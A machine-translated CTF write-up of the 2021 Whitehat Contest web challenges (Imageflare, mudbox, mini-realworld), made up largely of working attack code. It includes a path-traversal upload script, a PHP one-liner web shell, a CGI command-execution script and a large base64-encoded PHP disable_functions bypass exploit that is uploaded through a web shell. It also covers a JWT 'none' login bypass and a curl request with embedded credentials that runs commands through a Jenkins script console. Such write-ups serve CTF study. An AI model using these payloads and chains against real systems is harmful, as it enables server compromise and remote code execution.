2021 Whitehat Contest Web Category Writeup
2021 Whitehat Contest Preliminary Web Challenge Solutions - Imageflare, mudbox, mini-realworld
This post was machine-translated from Korean by AI. Some expressions may differ from the original.
Read the original (Korean)Imageflare (v1)
files = { 'file':('..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd', f, 'image/png') }
By configuring the file name as shown above, file download becomes possible.
from arang import *
import re,sys
def dopow(x):
for i in range(0,10000000):
if hexencode(sha1(str(i)))[:5] == x:
return i
return 'false'
fname = urlencode(f"../../../../../../../../../../../../{sys.argv[1]}").replace("/","%2f")
u = 'http://imageflare-v2.eyes-on.me/index.php'
headers = {
'Cookie' : 'PHPSESSID=kbjdpdq19mrb40hqvf78ruov6e'
}
proxies = {"https":"https://127.0.0.1:8888/", "http":"http://127.0.0.1:8888/"}
r = requests.get(u, headers=headers, verify=False)
powvalue = r.content.decode().split('PoW: Solve <code>sha1(x)[:5] == ')[1].split('</code>')[0]
print(powvalue)
f = open(r"D:\jw\tmp\a.png", 'rb')
print(fname)
files = {
'file':(fname, f, 'image/png')
}
data = {"pow":dopow(powvalue.encode()), "upload":"μ μΆ"}
u = 'http://imageflare-v2.eyes-on.me/file_up.php'
r = requests.post(u, data=data, headers=headers, files=files, verify=False)
print(r.content)
u = 'http://imageflare-v2.eyes-on.me/index.php'
r = requests.get(u, headers=headers, verify=False)
rr = r.content.decode()
matches = re.findall("./download.php\\?sig=[0-9a-f]{32}\">.+</a>", rr)
for i in matches:
print(i)
sig = matches[-1].split('sig=')[1].split('"')[0]
print(sig)
r = requests.get(f"http://imageflare-v2.eyes-on.me/download.php?sig={sig}", headers=headers, verify=False)
print(r.content.decode())I wrote an automated script for File download.


Upload a jpg containing <?=$_GET[c]?>.
Then, since the resulting signature_filename is saved under the /uploads/ directory, you can obtain a shell by accessing it directly.

Imageflare v2
The beginning part is identical to v1.

I uploaded a cgi file written in python as ../cgi-bin/arang911.py.
#!/usr/bin/python3.6
import cgi
import os
print("Content-type: text/html;\n")
print(os.popen("ls -l /").read())
print(os.popen("cat /reveeeeeeeeeeenge_flag").read())
#define width 10000
#define height 10000
Since xbm parses the image size via #define, getimagesize is bypassed. (The picture above is the php source code parsing xbm.)

You need to know the Realip to access the backend behind cloudflare directly, and I found this out using a domain discovered via the Sublist3r tool.

Anyway, arbitrary command execution is possible via cgi.
mudbox

The pht extension is allowed.

Upload and execute a script that creates a php file.

Now I have a php file that I can execute at will.

Since disable_functions is in place, if we look for a 1day exploit to bypass it,
https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.phpthere is one discovered in 2020.

The current php version is 7.2.24, so if you pull the docker and test it locally, you can see that the exploit works well.
from arang import *
import re,sys,time
ex = urlencode('''PD9waHANCg0KcHduKCIkX0dFVFtjY2NdIik7DQoNCmZ1bmN0aW9uIHB3bigkY21kKSB7DQogICAgZ2xvYmFsICRhYmMsICRoZWxwZXIsICRiYWNrdHJhY2U7DQoNCiAgICBjbGFzcyBWdWxuIHsNCiAgICAgICAgcHVibGljICRhOw0KICAgICAgICBwdWJsaWMgZnVuY3Rpb24gX19kZXN0cnVjdCgpIHsgDQogICAgICAgICAgICBnbG9iYWwgJGJhY2t0cmFjZTsgDQogICAgICAgICAgICB1bnNldCgkdGhpcy0+YSk7DQogICAgICAgICAgICAkYmFja3RyYWNlID0gKG5ldyBFeGNlcHRpb24pLT5nZXRUcmFjZSgpOyANCiAgICAgICAgICAgIGlmKCFpc3NldCgkYmFja3RyYWNlWzFdWydhcmdzJ10pKSB7DQogICAgICAgICAgICAgICAgJGJhY2t0cmFjZSA9IGRlYnVnX2JhY2t0cmFjZSgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgY2xhc3MgSGVscGVyIHsNCiAgICAgICAgcHVibGljICRhLCAkYiwgJGMsICRkOw0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIHN0cjJwdHIoJiRzdHIsICRwID0gMCwgJHMgPSA4KSB7DQogICAgICAgICRhZGRyZXNzID0gMDsNCiAgICAgICAgZm9yKCRqID0gJHMtMTsgJGogPj0gMDsgJGotLSkgew0KICAgICAgICAgICAgJGFkZHJlc3MgPDw9IDg7DQogICAgICAgICAgICAkYWRkcmVzcyB8PSBvcmQoJHN0clskcCskal0pOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYWRkcmVzczsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBwdHIyc3RyKCRwdHIsICRtID0gOCkgew0KICAgICAgICAkb3V0ID0gIiI7DQogICAgICAgIGZvciAoJGk9MDsgJGkgPCAkbTsgJGkrKykgew0KICAgICAgICAgICAgJG91dCAuPSBjaHIoJHB0ciAmIDB4ZmYpOw0KICAgICAgICAgICAgJHB0ciA+Pj0gODsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gJG91dDsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiB3cml0ZSgmJHN0ciwgJHAsICR2LCAkbiA9IDgpIHsNCiAgICAgICAgJGkgPSAwOw0KICAgICAgICBmb3IoJGkgPSAwOyAkaSA8ICRuOyAkaSsrKSB7DQogICAgICAgICAgICAkc3RyWyRwICsgJGldID0gY2hyKCR2ICYgMHhmZik7DQogICAgICAgICAgICAkdiA+Pj0gODsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIGxlYWsoJGFkZHIsICRwID0gMCwgJHMgPSA4KSB7DQogICAgICAgIGdsb2JhbCAkYWJjLCAkaGVscGVyOw0KICAgICAgICB3cml0ZSgkYWJjLCAweDY4LCAkYWRkciArICRwIC0gMHgxMCk7DQogICAgICAgICRsZWFrID0gc3RybGVuKCRoZWxwZXItPmEpOw0KICAgICAgICBpZigkcyAhPSA4KSB7ICRsZWFrICU9IDIgPDwgKCRzICogOCkgLSAxOyB9DQogICAgICAgIHJldHVybiAkbGVhazsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBwYXJzZV9lbGYoJGJhc2UpIHsNCiAgICAgICAgJGVfdHlwZSA9IGxlYWsoJGJhc2UsIDB4MTAsIDIpOw0KDQogICAgICAgICRlX3Bob2ZmID0gbGVhaygkYmFzZSwgMHgyMCk7DQogICAgICAgICRlX3BoZW50c2l6ZSA9IGxlYWsoJGJhc2UsIDB4MzYsIDIpOw0KICAgICAgICAkZV9waG51bSA9IGxlYWsoJGJhc2UsIDB4MzgsIDIpOw0KDQogICAgICAgIGZvcigkaSA9IDA7ICRpIDwgJGVfcGhudW07ICRpKyspIHsNCiAgICAgICAgICAgICRoZWFkZXIgPSAkYmFzZSArICRlX3Bob2ZmICsgJGkgKiAkZV9waGVudHNpemU7DQogICAgICAgICAgICAkcF90eXBlICA9IGxlYWsoJGhlYWRlciwgMCwgNCk7DQogICAgICAgICAgICAkcF9mbGFncyA9IGxlYWsoJGhlYWRlciwgNCwgNCk7DQogICAgICAgICAgICAkcF92YWRkciA9IGxlYWsoJGhlYWRlciwgMHgxMCk7DQogICAgICAgICAgICAkcF9tZW1zeiA9IGxlYWsoJGhlYWRlciwgMHgyOCk7DQoNCiAgICAgICAgICAgIGlmKCRwX3R5cGUgPT0gMSAmJiAkcF9mbGFncyA9PSA2KSB7IA0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICRkYXRhX2FkZHIgPSAkZV90eXBlID09IDIgPyAkcF92YWRkciA6ICRiYXNlICsgJHBfdmFkZHI7DQogICAgICAgICAgICAgICAgJGRhdGFfc2l6ZSA9ICRwX21lbXN6Ow0KICAgICAgICAgICAgfSBlbHNlIGlmKCRwX3R5cGUgPT0gMSAmJiAkcF9mbGFncyA9PSA1KSB7IA0KICAgICAgICAgICAgICAgICR0ZXh0X3NpemUgPSAkcF9tZW1zejsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIGlmKCEkZGF0YV9hZGRyIHx8ICEkdGV4dF9zaXplIHx8ICEkZGF0YV9zaXplKQ0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KDQogICAgICAgIHJldHVybiBbJGRhdGFfYWRkciwgJHRleHRfc2l6ZSwgJGRhdGFfc2l6ZV07DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZ2V0X2Jhc2ljX2Z1bmNzKCRiYXNlLCAkZWxmKSB7DQogICAgICAgIGxpc3QoJGRhdGFfYWRkciwgJHRleHRfc2l6ZSwgJGRhdGFfc2l6ZSkgPSAkZWxmOw0KICAgICAgICBmb3IoJGkgPSAwOyAkaSA8ICRkYXRhX3NpemUgLyA4OyAkaSsrKSB7DQogICAgICAgICAgICAkbGVhayA9IGxlYWsoJGRhdGFfYWRkciwgJGkgKiA4KTsNCiAgICAgICAgICAgIGlmKCRsZWFrIC0gJGJhc2UgPiAwICYmICRsZWFrIC0gJGJhc2UgPCAkZGF0YV9hZGRyIC0gJGJhc2UpIHsNCiAgICAgICAgICAgICAgICAkZGVyZWYgPSBsZWFrKCRsZWFrKTsNCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICBpZigkZGVyZWYgIT0gMHg3NDZlNjE3NDczNmU2ZjYzKQ0KICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgICAgIH0gZWxzZSBjb250aW51ZTsNCg0KICAgICAgICAgICAgJGxlYWsgPSBsZWFrKCRkYXRhX2FkZHIsICgkaSArIDQpICogOCk7DQogICAgICAgICAgICBpZigkbGVhayAtICRiYXNlID4gMCAmJiAkbGVhayAtICRiYXNlIDwgJGRhdGFfYWRkciAtICRiYXNlKSB7DQogICAgICAgICAgICAgICAgJGRlcmVmID0gbGVhaygkbGVhayk7DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgaWYoJGRlcmVmICE9IDB4Nzg2NTY4MzI2ZTY5NjIpDQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgfSBlbHNlIGNvbnRpbnVlOw0KDQogICAgICAgICAgICByZXR1cm4gJGRhdGFfYWRkciArICRpICogODsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIGdldF9iaW5hcnlfYmFzZSgkYmluYXJ5X2xlYWspIHsNCiAgICAgICAgJGJhc2UgPSAwOw0KICAgICAgICAkc3RhcnQgPSAkYmluYXJ5X2xlYWsgJiAweGZmZmZmZmZmZmZmZmYwMDA7DQogICAgICAgIGZvcigkaSA9IDA7ICRpIDwgMHgxMDAwOyAkaSsrKSB7DQogICAgICAgICAgICAkYWRkciA9ICRzdGFydCAtIDB4MTAwMCAqICRpOw0KICAgICAgICAgICAgJGxlYWsgPSBsZWFrKCRhZGRyLCAwLCA3KTsNCiAgICAgICAgICAgIGlmKCRsZWFrID09IDB4MTAxMDI0NjRjNDU3ZikgeyANCiAgICAgICAgICAgICAgICByZXR1cm4gJGFkZHI7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBmdW5jdGlvbiBnZXRfc3lzdGVtKCRiYXNpY19mdW5jcykgew0KICAgICAgICAkYWRkciA9ICRiYXNpY19mdW5jczsNCiAgICAgICAgZG8gew0KICAgICAgICAgICAgJGZfZW50cnkgPSBsZWFrKCRhZGRyKTsNCiAgICAgICAgICAgICRmX25hbWUgPSBsZWFrKCRmX2VudHJ5LCAwLCA2KTsNCg0KICAgICAgICAgICAgaWYoJGZfbmFtZSA9PSAweDZkNjU3NDczNzk3MykgeyANCiAgICAgICAgICAgICAgICByZXR1cm4gbGVhaygkYWRkciArIDgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJGFkZHIgKz0gMHgyMDsNCiAgICAgICAgfSB3aGlsZSgkZl9lbnRyeSAhPSAwKTsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIHRyaWdnZXJfdWFmKCRhcmcpIHsNCiAgICAgICAgDQogICAgICAgICRhcmcgPSBzdHJfc2h1ZmZsZShzdHJfcmVwZWF0KCdBJywgNzkpKTsNCiAgICAgICAgJHZ1bG4gPSBuZXcgVnVsbigpOw0KICAgICAgICAkdnVsbi0+YSA9ICRhcmc7DQogICAgfQ0KDQogICAgaWYoc3RyaXN0cihQSFBfT1MsICdXSU4nKSkgew0KICAgICAgICBkaWUoJ1RoaXMgUG9DIGlzIGZvciAqbml4IHN5c3RlbXMgb25seS4nKTsNCiAgICB9DQoNCiAgICAkbl9hbGxvYyA9IDEwOyANCiAgICAkY29udGlndW91cyA9IFtdOw0KICAgIGZvcigkaSA9IDA7ICRpIDwgJG5fYWxsb2M7ICRpKyspDQogICAgICAgICRjb250aWd1b3VzW10gPSBzdHJfc2h1ZmZsZShzdHJfcmVwZWF0KCdBJywgNzkpKTsNCg0KICAgIHRyaWdnZXJfdWFmKCd4Jyk7DQogICAgJGFiYyA9ICRiYWNrdHJhY2VbMV1bJ2FyZ3MnXVswXTsNCg0KICAgICRoZWxwZXIgPSBuZXcgSGVscGVyOw0KICAgICRoZWxwZXItPmIgPSBmdW5jdGlvbiAoJHgpIHsgfTsNCg0KICAgIGlmKHN0cmxlbigkYWJjKSA9PSA3OSB8fCBzdHJsZW4oJGFiYykgPT0gMCkgew0KICAgICAgICBkaWUoIlVBRiBmYWlsZWQiKTsNCiAgICB9DQoNCiAgICANCiAgICAkY2xvc3VyZV9oYW5kbGVycyA9IHN0cjJwdHIoJGFiYywgMCk7DQogICAgJHBocF9oZWFwID0gc3RyMnB0cigkYWJjLCAweDU4KTsNCiAgICAkYWJjX2FkZHIgPSAkcGhwX2hlYXAgLSAweGM4Ow0KDQogICAgDQogICAgd3JpdGUoJGFiYywgMHg2MCwgMik7DQogICAgd3JpdGUoJGFiYywgMHg3MCwgNik7DQoNCiAgICANCiAgICB3cml0ZSgkYWJjLCAweDEwLCAkYWJjX2FkZHIgKyAweDYwKTsNCiAgICB3cml0ZSgkYWJjLCAweDE4LCAweGEpOw0KDQogICAgJGNsb3N1cmVfb2JqID0gc3RyMnB0cigkYWJjLCAweDIwKTsNCg0KICAgICRiaW5hcnlfbGVhayA9IGxlYWsoJGNsb3N1cmVfaGFuZGxlcnMsIDgpOw0KICAgIGlmKCEoJGJhc2UgPSBnZXRfYmluYXJ5X2Jhc2UoJGJpbmFyeV9sZWFrKSkpIHsNCiAgICAgICAgZGllKCJDb3VsZG4ndCBkZXRlcm1pbmUgYmluYXJ5IGJhc2UgYWRkcmVzcyIpOw0KICAgIH0NCg0KICAgIGlmKCEoJGVsZiA9IHBhcnNlX2VsZigkYmFzZSkpKSB7DQogICAgICAgIGRpZSgiQ291bGRuJ3QgcGFyc2UgRUxGIGhlYWRlciIpOw0KICAgIH0NCg0KICAgIGlmKCEoJGJhc2ljX2Z1bmNzID0gZ2V0X2Jhc2ljX2Z1bmNzKCRiYXNlLCAkZWxmKSkpIHsNCiAgICAgICAgZGllKCJDb3VsZG4ndCBnZXQgYmFzaWNfZnVuY3Rpb25zIGFkZHJlc3MiKTsNCiAgICB9DQoNCiAgICBpZighKCR6aWZfc3lzdGVtID0gZ2V0X3N5c3RlbSgkYmFzaWNfZnVuY3MpKSkgew0KICAgICAgICBkaWUoIkNvdWxkbid0IGdldCB6aWZfc3lzdGVtIGFkZHJlc3MiKTsNCiAgICB9DQoNCiAgICANCiAgICAkZmFrZV9vYmpfb2Zmc2V0ID0gMHhkMDsNCiAgICBmb3IoJGkgPSAwOyAkaSA8IDB4MTEwOyAkaSArPSA4KSB7DQogICAgICAgIHdyaXRlKCRhYmMsICRmYWtlX29ial9vZmZzZXQgKyAkaSwgbGVhaygkY2xvc3VyZV9vYmosICRpKSk7DQogICAgfQ0KDQogICAgDQogICAgd3JpdGUoJGFiYywgMHgyMCwgJGFiY19hZGRyICsgJGZha2Vfb2JqX29mZnNldCk7DQogICAgd3JpdGUoJGFiYywgMHhkMCArIDB4MzgsIDEsIDQpOyANCiAgICB3cml0ZSgkYWJjLCAweGQwICsgMHg2OCwgJHppZl9zeXN0ZW0pOyANCg0KICAgICgkaGVscGVyLT5iKSgkY21kKTsNCiAgICBleGl0KCk7DQp9''')
u = 'http://3.38.109.135:28344/data/72ced1fa15db322c3c900cba8f15cf46/test.php?c=echo%20file_put_contents(%27/tmp/arang101%27,file_get_contents(%27/tmp/arang101%27)."{}");'
for i in range(0,len(ex),1000):
r = requests.get(u.format(ex[i:i+1000]))
time.sleep(1)After roughly uploading it to the server,
file_put_contents("ex.php",str_replace("\r\n","\n",base64_decode(file_get_contents("/tmp/arang101"))));fetch the exploit code to the current path like this.
If you access it afterwards,

Web shell upload is possible.
mini-realworld
At first, I looked at the provided react code for a bit, then blindly swapped algo to none, and the login just worked.

I searched the Nickname "Whitehat-NowYouSeeMe" on github.

Whoa

Whoaaaaaa

s3cret Whoaaaaaaaaaaaaa

Jenkins whoaaaaa 9999 whoaaaaaaaaaaaaaa

Real Jenkins port 9999 whoaaaaaaaaaaaaaaaaaaaaaaaaaaaa

If you try remote access using the key and the nickname obtained earlier, the result comes out well.
https://beaglesecurity.com/blog/domectf2020/timezone-writeup.html
https://www.jenkins.io/doc/book/managing/script-console/
https://stackoverflow.com/questions/159148/groovy-executing-shell-commands
I proceeded by referring to the links above.
I accessed /script first, then captured and tampered with the actual packet sent when triggering script run.
curl --data "script=def+proc+%3D+%22ls -alR /%22.execute%28%29%0D%0Adef+b+%3D+new+StringBuffer%28%29%0D%0Aproc.consumeProcessErrorStream%28b%29%0D%0A%0D%0Aprintln+proc.text%0D%0Aprintln+b.toString%28%29&Jenkins-Crumb=3aa12ac3ad49ab60ee63b3fdf4d5ba4d4978eacfb5785753ff0fb6fa69a4ba3c&json=%7B%22script%22%3A+%22def+proc+%3D+%5C%22ls+-al+%2F%5C%22.execute%28%29%5Cndef+b+%3D+new+StringBuffer%28%29%5Cnproc.consumeProcessErrorStream%28b%29%5Cn%5Cnprintln+proc.text%5Cnprintln+b.toString%28%29%22%2C+%22%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%223aa12ac3ad49ab60ee63b3fdf4d5ba4d4978eacfb5785753ff0fb6fa69a4ba3c%22%7D&Submit=Run" -X POST http://Whitehat-NowYouSeeMe:11d5eb71408ae9b0e4a6219ce9a4aa1767@3.37.166.114:9999/script -i > out.txt;cat out.txt|grep FLAG -B5 -A5
Flag captured
Comments